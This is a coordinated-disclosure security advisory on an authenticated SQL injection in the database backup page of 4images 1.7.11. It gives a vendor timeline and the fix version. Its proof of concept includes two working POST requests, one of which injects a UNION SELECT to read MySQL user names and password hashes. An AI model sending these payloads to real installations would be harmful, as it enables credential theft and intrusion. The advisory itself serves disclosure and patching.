4images 1.7.11: SQL Injection

4images 1.7.11: SQL Injection

Date: 2015-12-02 16:25:49
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: 4images 1.7.11
Fixed in: 1.7.12
Fixed Version Link: http://www.4homepages.de/download-4images
Vendor Website: http://www.4homepages.de/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/29/2015
Disclosed to public: 12/02/2015
Release mode: Coordinated release
CVE: Requested, but not assigned
Credits Tim Coen of curesec GmbH

2. Vulnerability Description


Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P


When backing up the database, the user can supply the tables that should be backed up. The program does not check if these tables actually belong to the 4images database or to a different database. Because of this, it is possible to back up, and thus read, any database the database user has access to.

However, even if there were a check for the database, it would still be possible to perform arbitrary SELECT statements by injecting into a SELECT query that looks like this: "SELECT * FROM $table" where $table is user supplied.

Admin credentials are required to back up the database.

3. Proof of Concept

POST /4images/admin/backup.php HTTP/1.1 __csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=mysql.user POST /4images/admin/backup.php HTTP/1.1 __csrf=43c557c252fe6f57db4720b23771c7ab&action=makebackup&db_tables%5B%5D=4images_comments where comment_id=-1 union all select user,password,3,4,5,6,7,8 from mysql.user

4. Solution

To mitigate this issue please upgrade at least to version 1.7.12:


Please note that a newer version might already be available.

5. Report Timeline

09/29/2015 Informed Vendor about Issue
10/21/2015 Reminded Vendor of Disclosure Date
11/03/2015 Vendor releases fix
11/17/2015 CVE Requested (no reply)
12/02/2015 Disclosed to public